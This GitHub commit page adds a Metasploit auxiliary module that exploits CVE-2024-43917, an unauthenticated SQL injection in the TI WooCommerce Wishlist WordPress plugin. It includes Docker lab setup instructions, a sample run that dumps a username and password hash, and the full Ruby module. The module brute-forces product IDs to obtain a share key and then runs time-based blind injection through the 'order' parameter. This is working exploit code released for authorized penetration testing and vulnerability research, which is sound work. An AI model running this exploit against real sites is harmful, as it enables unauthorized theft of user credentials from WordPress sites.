Skip to content

Commit 2e8892c

Browse files
authored
Land rapid7#19517, Add WooCommerce SQLi module
This adds a new auxiliary module that exploits an unauthenticated SQL injection vulnerability in the TI WooCommerce Wishlist plugin for WordPress (versions <= 2.8.2). The vulnerability allows attackers to execute SQL queries via the order parameter which can be used to dump usernames and their hashed passwords.
2 parents ec013f2 + 3456293 commit 2e8892c

File tree

2 files changed

+261
-0
lines changed

2 files changed

+261
-0
lines changed
Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
## Vulnerable Application
2+
3+
The vulnerability affects the **TI WooCommerce Wishlist** plugin for WordPress,
4+
versions **up to 2.8.2**, allowing **unauthenticated SQL injection** via specific parameters.
5+
The **WooCommerce** plugin is also required for the setup.
6+
7+
### Pre-requisites:
8+
- **Docker** and **Docker Compose** installed.
9+
10+
### Setup Instructions:
11+
12+
1. **Download the Docker Compose file**:
13+
Save the following content in a `docker-compose.yml` file:
14+
15+
```yaml
16+
version: '3.1'
17+
18+
services:
19+
wordpress:
20+
image: wordpress:latest
21+
restart: always
22+
ports:
23+
- 5555:80
24+
environment:
25+
WORDPRESS_DB_HOST: db
26+
WORDPRESS_DB_USER: chocapikk
27+
WORDPRESS_DB_PASSWORD: dummy_password
28+
WORDPRESS_DB_NAME: exploit_market
29+
mem_limit: 512m
30+
volumes:
31+
- wordpress:/var/www/html
32+
33+
db:
34+
image: mysql:5.7
35+
restart: always
36+
environment:
37+
MYSQL_DATABASE: exploit_market
38+
MYSQL_USER: chocapikk
39+
MYSQL_PASSWORD: dummy_password
40+
MYSQL_RANDOM_ROOT_PASSWORD: '1'
41+
volumes:
42+
- db:/var/lib/mysql
43+
44+
volumes:
45+
wordpress:
46+
db:
47+
```
48+
49+
2. **Start the Docker environment**:
50+
Run the following command in the directory where you saved the `docker-compose.yml` file:
51+
52+
```bash
53+
docker-compose up -d
54+
```
55+
56+
3. **Install WooCommerce and TI WooCommerce Wishlist Plugins**:
57+
- Download the WooCommerce and TI WooCommerce Wishlist plugins:
58+
59+
```bash
60+
wget https://downloads.wordpress.org/plugin/woocommerce.9.3.3.zip
61+
wget https://downloads.wordpress.org/plugin/ti-woocommerce-wishlist.2.8.2.zip
62+
```
63+
64+
- Install the plugins by copying them into your WordPress container:
65+
66+
```bash
67+
unzip woocommerce.9.3.3.zip
68+
docker cp woocommerce wordpress:/var/www/html/wp-content/plugins/
69+
70+
unzip ti-woocommerce-wishlist.2.8.2.zip
71+
docker cp ti-woocommerce-wishlist wordpress:/var/www/html/wp-content/plugins/
72+
```
73+
74+
4. **Activate WooCommerce and TI WooCommerce Wishlist Plugins**:
75+
- Navigate to `http://localhost:5555/wp-admin` in your browser, and activate both
76+
**WooCommerce** and **TI WooCommerce Wishlist** plugins.
77+
- Complete the WooCommerce setup wizard to ensure the plugin is properly
78+
initialized, including configuring the site through the "Customize Site" option.
79+
80+
## Verification Steps
81+
82+
1. **Set up WordPress** with the vulnerable **TI WooCommerce Wishlist 2.8.2** and **WooCommerce** plugins.
83+
2. **Start Metasploit** using `msfconsole`.
84+
3. Use the appropriate module for the vulnerability:
85+
86+
```bash
87+
use auxiliary/scanner/http/wp_ti_woocommerce_wishlist_sqli
88+
```
89+
90+
4. Set the target's IP and URI:
91+
92+
```bash
93+
set RHOST <target_ip>
94+
set TARGETURI /
95+
```
96+
97+
5. **Run the module**:
98+
99+
```bash
100+
run
101+
```
102+
103+
6. **Verify the SQL Injection**:
104+
The SQL injection will attempt to retrieve or manipulate data from the WordPress database through the `order` parameter.
105+
106+
## Options
107+
108+
### PRODUCT_ID_MIN and PRODUCT_ID_MAX
109+
These options specify the range of `product_id` values used to bruteforce the product
110+
during the SQL injection attack.
111+
The default range is from 1 to 100, but this can be adjusted based on your target.
112+
113+
### COUNT
114+
This option specifies the number of rows to retrieve from the database during the SQL injection attack.
115+
116+
## Scenarios
117+
118+
The following scenario demonstrates an SQL injection attack against a WordPress
119+
installation running **TI WooCommerce Wishlist 2.8.2** with **WooCommerce** in a Docker environment.
120+
121+
### Step-by-step Scenario
122+
123+
```bash
124+
msf6 auxiliary(scanner/http/wp_ti_woocommerce_wishlist_sqli) > run http://127.0.0.1:5555
125+
126+
[*] Testing Product IDs from 0 to 100, please wait...
127+
[+] Share key found: e93cca
128+
[*] Performing SQL Injection using share key: e93cca
129+
[*] SQL Injection successful, retrieving user credentials...
130+
[*] {SQLi} Executing (SELECT 4 FROM information_schema.tables WHERE table_name = 'wp_users')
131+
[*] {SQLi} Encoded to (SELECT 4 FROM information_schema.tables WHERE table_name = 0x77705f7573657273)
132+
[*] {SQLi} Time-based injection: expecting output of length 1
133+
[*] {WPSQLi} Retrieved default table prefix: 'wp_'
134+
[*] {SQLi} Executing (select group_concat(CvjX) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) CvjX from wp_users limit 1) cUla)
135+
[*] {SQLi} Encoded to (select group_concat(CvjX) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0x2f,0)),ifnull(user_pass,repeat(0x8c,0))) as binary) CvjX from wp_users limit 1) cUla)
136+
[*] {SQLi} Time-based injection: expecting output of length 44
137+
[*] {WPSQLi} Dumped user data:
138+
wp_users
139+
========
140+
141+
user_login user_pass
142+
---------- ---------
143+
chocapikk $P$BPdY0XccQT2nvSXE8bjsn1CERoF7eJ.
144+
145+
[+] Loot saved to: /home/chocapikk/.msf4/loot/20240930123016_default_127.0.0.1_wordpress.users_970346.txt
146+
[*] Scanned 1 of 1 hosts (100% complete)
147+
[*] Auxiliary module execution completed
148+
```
Lines changed: 113 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Auxiliary::Scanner
8+
include Msf::Exploit::Remote::HTTP::Wordpress
9+
include Msf::Exploit::Remote::HTTP::Wordpress::SQLi
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'WordPress TI WooCommerce Wishlist SQL Injection (CVE-2024-43917)',
16+
'Description' => %q{
17+
The TI WooCommerce Wishlist plugin <= 2.8.2 is vulnerable to an unauthenticated SQL injection, allowing attackers to retrieve sensitive information.
18+
},
19+
'Author' => [
20+
'Rafie Muhammad', # Vulnerability Discovery
21+
'Valentin Lobstein' # Metasploit Module
22+
],
23+
'License' => MSF_LICENSE,
24+
'References' => [
25+
['CVE', '2024-43917'],
26+
['WPVDB', 'e994753e-ce18-48cf-8087-897ec8db2eef'],
27+
['URL', 'https://patchstack.com/articles/unpatched-sql-injection-vulnerability-in-ti-woocommerce-wishlist-plugin/']
28+
],
29+
'Actions' => [
30+
['Retrieve Share Key and Perform SQLi', { 'Description' => 'Retrieve share key and perform SQL Injection' }]
31+
],
32+
'DefaultAction' => 'Retrieve Share Key and Perform SQLi',
33+
'DefaultOptions' => { 'VERBOSE' => true, 'COUNT' => 1 },
34+
'DisclosureDate' => '2024-09-25',
35+
'Notes' => {
36+
'Stability' => [CRASH_SAFE],
37+
'SideEffects' => [IOC_IN_LOGS],
38+
'Reliability' => []
39+
}
40+
)
41+
)
42+
43+
register_options [
44+
OptInt.new('PRODUCT_ID_MIN', [true, 'Minimum Product ID to bruteforce', 0]),
45+
OptInt.new('PRODUCT_ID_MAX', [true, 'Maximum Product ID to bruteforce', 100])
46+
]
47+
end
48+
49+
def get_share_key
50+
min = datastore['PRODUCT_ID_MIN']
51+
max = datastore['PRODUCT_ID_MAX']
52+
print_status("Testing Product IDs from #{min} to #{max}, please wait...")
53+
54+
(min..max).each do |product_id|
55+
post_data = Rex::MIME::Message.new
56+
post_data.add_part('', nil, nil, 'form-data; name="tinv_wishlist_id"')
57+
post_data.add_part(product_id.to_s, nil, nil, 'form-data; name="product_id"')
58+
post_data.add_part('addto', nil, nil, 'form-data; name="product_action"')
59+
60+
res = send_request_cgi({
61+
'method' => 'POST',
62+
'uri' => normalize_uri(target_uri.path),
63+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
64+
'data' => post_data.to_s
65+
})
66+
67+
next unless res&.code == 200
68+
69+
json_body = res.get_json_document
70+
wishlist_data = json_body['wishlists_data']['products']
71+
72+
next unless wishlist_data && !wishlist_data.empty?
73+
74+
share_key = json_body['wishlist']['share_key']
75+
if share_key
76+
print_good("Share key found: #{share_key}")
77+
return share_key
78+
end
79+
end
80+
81+
fail_with(Failure::NotFound, 'No valid product ID found.')
82+
end
83+
84+
def run_host(_ip)
85+
share_key = get_share_key
86+
print_status("Performing SQL Injection using share key: #{share_key}")
87+
88+
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
89+
res = send_request_cgi({
90+
'method' => 'POST',
91+
'uri' => target_uri.path,
92+
'vars_get' => {
93+
'_method' => 'GET',
94+
'order' => ",(SELECT #{payload})--"
95+
},
96+
'vars_post' => {
97+
'rest_route' => "/wc/v3/wishlist/#{share_key}/get_products"
98+
},
99+
'keep_cookies' => true
100+
})
101+
102+
fail_with(Failure::Unreachable, 'Connection failed') unless res
103+
end
104+
105+
if @sqli.test_vulnerable
106+
print_status('SQL Injection successful, retrieving user credentials...')
107+
wordpress_sqli_initialize(@sqli)
108+
wordpress_sqli_get_users_credentials(datastore['COUNT'])
109+
else
110+
fail_with(Failure::NotVulnerable, 'Target is not vulnerable to SQL injection.')
111+
end
112+
end
113+
end

0 commit comments

Comments
 (0)